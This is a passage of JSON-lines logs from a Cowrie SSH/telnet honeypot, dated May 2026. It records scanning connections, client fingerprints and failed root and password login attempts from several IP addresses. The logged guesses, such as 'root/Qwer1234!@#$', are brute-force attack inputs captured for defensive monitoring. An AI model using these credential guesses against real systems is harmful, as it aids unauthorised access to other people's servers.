1@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:57.629695Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:3b:59:2c:a5:c7:df:1b:29:57:86:c8:bf:c5:59:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsSP6FjzylnzXoUnhexUmVtNWHK4bRBb2pf3s1EdY7lQSjJp9vdrqdqXaynhwDpA2vLTVvs/J7gzZGvHDZ1mfez+/RoZ6jkQ+fpBCWPnFatjBGhSyLlt7BonQ+dfsfWkH1Az7KnSycTiwidnuwr2HQzqDFI8WlnBoJKxp0Xi84wjjTTxcvUxiKIWXy8Oefj2/Z0B8IBtEkMxVS6ARcO58Agyh7fIx4TLFSKiUW/vA9jrRSzHwq/SO/LErvsf9TTBQjdySkc32KH0fvTzrSupu6tSXZ/FwBH6RQw4wpleIK+ssQ4x67QX8IamqqB2F2jhih3I+PYHUtVPQ4WMBLy4rZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:3b:59:2c:a5:c7:df:1b:29:57:86:c8:bf:c5:59:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.041741Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:3b:59:2c:a5:c7:df:1b:29:57:86:c8:bf:c5:59:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsSP6FjzylnzXoUnhexUmVtNWHK4bRBb2pf3s1EdY7lQSjJp9vdrqdqXaynhwDpA2vLTVvs/J7gzZGvHDZ1mfez+/RoZ6jkQ+fpBCWPnFatjBGhSyLlt7BonQ+dfsfWkH1Az7KnSycTiwidnuwr2HQzqDFI8WlnBoJKxp0Xi84wjjTTxcvUxiKIWXy8Oefj2/Z0B8IBtEkMxVS6ARcO58Agyh7fIx4TLFSKiUW/vA9jrRSzHwq/SO/LErvsf9TTBQjdySkc32KH0fvTzrSupu6tSXZ/FwBH6RQw4wpleIK+ssQ4x67QX8IamqqB2F2jhih3I+PYHUtVPQ4WMBLy4rZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.045613Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:f2:34:1a:43:c8:59:4a:79:a2:55:43:79:a1:a2:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxih/zHyLx2TK+qgKUOJQvw4LEV4uD8UKmOP3lAbMuZwqDewYVcjFsYt/6uFB9pz2X4ArWy9BMpdmH+xyuPNymJqRPjImfx8eDT4BH2Gew0Z7ihxzBn5FM6aB76Q4WB/35ie1N6Rhx0Q1qhl3BBs2hdUwC7j4AEIOQF4EL6yRDXM7EjlAD/BESqRCNfXqPPPk/pGm2e8WhSVd30Jd6Hh+egCOfiRTzh5ENqLfSaGUG2dAvMnZGMX255OYhSV/40ew63f1sqD7gdpoH2VJHwvZ+FpQgK6oZn5/799vkuKKw9agVGQdnGoOJA1aHeoobxp+FWn9JaNVYwcR9OLE7tmbCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:f2:34:1a:43:c8:59:4a:79:a2:55:43:79:a1:a2:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.132821Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:f2:34:1a:43:c8:59:4a:79:a2:55:43:79:a1:a2:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxih/zHyLx2TK+qgKUOJQvw4LEV4uD8UKmOP3lAbMuZwqDewYVcjFsYt/6uFB9pz2X4ArWy9BMpdmH+xyuPNymJqRPjImfx8eDT4BH2Gew0Z7ihxzBn5FM6aB76Q4WB/35ie1N6Rhx0Q1qhl3BBs2hdUwC7j4AEIOQF4EL6yRDXM7EjlAD/BESqRCNfXqPPPk/pGm2e8WhSVd30Jd6Hh+egCOfiRTzh5ENqLfSaGUG2dAvMnZGMX255OYhSV/40ew63f1sqD7gdpoH2VJHwvZ+FpQgK6oZn5/799vkuKKw9agVGQdnGoOJA1aHeoobxp+FWn9JaNVYwcR9OLE7tmbCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.139071Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:e3:6d:77:9a:06:2f:4e:30:9b:79:9a:ea:f0:15:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+GOqIYZuIyQpBTFVthteYRawJ5wfXIY/kVv9mhj0Yp5elFvqhrR3A7dKpULcP+dggRA4JrXYUcDmCZcpoa/kR2jtxHZ1PU3lRun/bleImw+wKKuBRSJTmaP1KkURi4A/HPKs6RcccWJ3RwAkfcxMxLQTULAbmr5cp9SOrxlfM3t+zdhSrRpFmvlDzJQe8FGmmZgBE4zt479Sysk28jgpiQcC+LBuvf5CxxmLrl6RCbfvSC9oM1FQts1GzzWYLNNNem3T6Zy1J2Yz7y/HL5l7i3sZB0OQca+IP1fUadFfX7jnHc04cYmGO816Tv/HVEj2jgPEPogAmKCj6OYxia61D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:e3:6d:77:9a:06:2f:4e:30:9b:79:9a:ea:f0:15:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.227644Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:e3:6d:77:9a:06:2f:4e:30:9b:79:9a:ea:f0:15:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+GOqIYZuIyQpBTFVthteYRawJ5wfXIY/kVv9mhj0Yp5elFvqhrR3A7dKpULcP+dggRA4JrXYUcDmCZcpoa/kR2jtxHZ1PU3lRun/bleImw+wKKuBRSJTmaP1KkURi4A/HPKs6RcccWJ3RwAkfcxMxLQTULAbmr5cp9SOrxlfM3t+zdhSrRpFmvlDzJQe8FGmmZgBE4zt479Sysk28jgpiQcC+LBuvf5CxxmLrl6RCbfvSC9oM1FQts1GzzWYLNNNem3T6Zy1J2Yz7y/HL5l7i3sZB0OQca+IP1fUadFfX7jnHc04cYmGO816Tv/HVEj2jgPEPogAmKCj6OYxia61D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.231516Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:96:5b:9e:32:e0:af:d2:68:07:ef:5c:81:be:0d:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0Wjlk+Xmm2KwDoPKvpEvRXQx6N1fktj5SAPWigZK7C/+3Wd1SjYbcn5UoHS7cXJikBHjnHpUC8zwHUSngDdqCM6hOyGnokt9XWKtFC2+Hz95oITyz+LeE6S19/b1i/Za9v87bLaDVG7l/68NbDartvepeCNhp48LXRy1jtp9Wgcf61dRlOyU8UqZk5MtQT5wA5P6go6QwJd7DkreZnLDqTI0qb8lNbPNNEpjEf42XPPv2bt8YnEjAEkT02v431ONZd+9JLkgHtoRoT6yBr9OrnRGONw9hoKTtDFGToyxUwelg0/uGjCKG0e+iu1nhl7FhUCmn7DnSbv9dxsURkDWDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:96:5b:9e:32:e0:af:d2:68:07:ef:5c:81:be:0d:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.319999Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:96:5b:9e:32:e0:af:d2:68:07:ef:5c:81:be:0d:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0Wjlk+Xmm2KwDoPKvpEvRXQx6N1fktj5SAPWigZK7C/+3Wd1SjYbcn5UoHS7cXJikBHjnHpUC8zwHUSngDdqCM6hOyGnokt9XWKtFC2+Hz95oITyz+LeE6S19/b1i/Za9v87bLaDVG7l/68NbDartvepeCNhp48LXRy1jtp9Wgcf61dRlOyU8UqZk5MtQT5wA5P6go6QwJd7DkreZnLDqTI0qb8lNbPNNEpjEf42XPPv2bt8YnEjAEkT02v431ONZd+9JLkgHtoRoT6yBr9OrnRGONw9hoKTtDFGToyxUwelg0/uGjCKG0e+iu1nhl7FhUCmn7DnSbv9dxsURkDWDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.324170Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:e1:fa:ae:26:59:d9:0a:65:92:ae:6d:a8:91:03:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAny6cAhJfDms0rxJouftv4B0aJAsD/EAsWeoexq2j2u1Z+MZ4TeTQt7RTJ+GrXOEzNCFWPricBWVPGo9d7AJXbpYssSn5HctN18kxhN5c8KPED0Oih2+OGUCK8VGcwkWJM0Zype2xSPoMqBSz1woWAO8iYbRk3H/VubFHKtXeLTCCiVLA1zrwwrf5/eb+AE46BPYeHI3yQyXyaObGBAblFM27QxLENQMt4lI6jUCBwra+VwCIM6CQgNDufAsBryA7etgyN6UOVMLy8IdKU3/rb9VE3QSnJq96ePMP9tmUtnhmwsD5TTefWi6v0phhiBNyKnE3ejIk9u5Qg2wHj94zOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:e1:fa:ae:26:59:d9:0a:65:92:ae:6d:a8:91:03:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.412141Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:e1:fa:ae:26:59:d9:0a:65:92:ae:6d:a8:91:03:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAny6cAhJfDms0rxJouftv4B0aJAsD/EAsWeoexq2j2u1Z+MZ4TeTQt7RTJ+GrXOEzNCFWPricBWVPGo9d7AJXbpYssSn5HctN18kxhN5c8KPED0Oih2+OGUCK8VGcwkWJM0Zype2xSPoMqBSz1woWAO8iYbRk3H/VubFHKtXeLTCCiVLA1zrwwrf5/eb+AE46BPYeHI3yQyXyaObGBAblFM27QxLENQMt4lI6jUCBwra+VwCIM6CQgNDufAsBryA7etgyN6UOVMLy8IdKU3/rb9VE3QSnJq96ePMP9tmUtnhmwsD5TTefWi6v0phhiBNyKnE3ejIk9u5Qg2wHj94zOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.416580Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.908066511154175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.424684Z","src_ip":"192.119.13.58","session":"019663f1b65e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:58.504741Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.351916790008545,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:59.857872Z","src_ip":"192.119.13.58","session":"2ceafcdd2a90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60686,"dst_ip":"10.17.0.5","dst_port":23,"session":"1459935234e9","protocol":"telnet","message":"New connection: 192.119.13.58:60686 (10.17.0.5:23) [session: 1459935234e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:00.630670Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33480,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef24f6309f9","protocol":"telnet","message":"New connection: 192.119.13.58:33480 (10.17.0.5:23) [session: 3ef24f6309f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:00.873304Z"}
{"eventid":"cowrie.session.closed","duration":0.0095977783203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:00.882789Z","src_ip":"192.119.13.58","session":"3ef24f6309f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.63711476325989,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:03.628708Z","src_ip":"192.119.13.58","session":"a01e61df10ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.20143103599548,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:04.546137Z","src_ip":"192.119.13.58","session":"8f5bb12e1f7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217320442199707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:07.749156Z","src_ip":"192.119.13.58","session":"48a1b4dd0d26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":43210,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a061640cbb3","protocol":"ssh","message":"New connection: 45.78.204.254:43210 (10.17.0.5:22) [session: 0a061640cbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:08.623285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:08.628523Z","src_ip":"45.78.204.254","session":"0a061640cbb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:08.860352Z","src_ip":"45.78.204.254","session":"0a061640cbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.33782911300659,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:10.543563Z","src_ip":"192.119.13.58","session":"d171cb417964","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.776498556137085,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:10.570573Z","src_ip":"192.119.13.58","session":"060551752375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":39372,"dst_ip":"10.17.0.5","dst_port":22,"session":"263f3291921d","protocol":"ssh","message":"New connection: 193.39.208.26:39372 (10.17.0.5:22) [session: 263f3291921d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:12.940918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:12.946285Z","src_ip":"193.39.208.26","session":"263f3291921d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:13.032677Z","src_ip":"193.39.208.26","session":"263f3291921d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:13.398218Z","src_ip":"193.39.208.26","session":"263f3291921d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46470,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b61493bd035","protocol":"telnet","message":"New connection: 192.119.13.58:46470 (10.17.0.5:23) [session: 5b61493bd035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:13.807839Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:14.484728Z","src_ip":"193.39.208.26","session":"263f3291921d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234!@#$","message":"login attempt [root/Qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:14.693669Z","src_ip":"45.78.204.254","session":"0a061640cbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:15.930200Z","src_ip":"45.78.204.254","session":"0a061640cbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55794,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fdf4b18cb33","protocol":"ssh","message":"New connection: 147.45.199.80:55794 (10.17.0.5:22) [session: 3fdf4b18cb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:16.812292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:16.817030Z","src_ip":"147.45.199.80","session":"3fdf4b18cb33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:16.917520Z","src_ip":"147.45.199.80","session":"3fdf4b18cb33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22061941","message":"login attempt [root/22061941] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:17.227860Z","src_ip":"147.45.199.80","session":"3fdf4b18cb33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58168,"dst_ip":"10.17.0.5","dst_port":23,"session":"47eea190e60e","protocol":"telnet","message":"New connection: 192.119.13.58:58168 (10.17.0.5:23) [session: 47eea190e60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:17.355108Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:18.331658Z","src_ip":"147.45.199.80","session":"3fdf4b18cb33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35406,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad39d5dd40f8","protocol":"telnet","message":"New connection: 192.119.13.58:35406 (10.17.0.5:23) [session: ad39d5dd40f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:18.916435Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63250,"dst_ip":"10.17.0.5","dst_port":22,"session":"87600dc63fd2","protocol":"ssh","message":"New connection: 152.42.212.128:63250 (10.17.0.5:22) [session: 87600dc63fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:23.383309Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:23.388079Z","src_ip":"152.42.212.128","session":"87600dc63fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:23.391969Z","src_ip":"152.42.212.128","session":"87600dc63fd2","protocol":"ssh"}
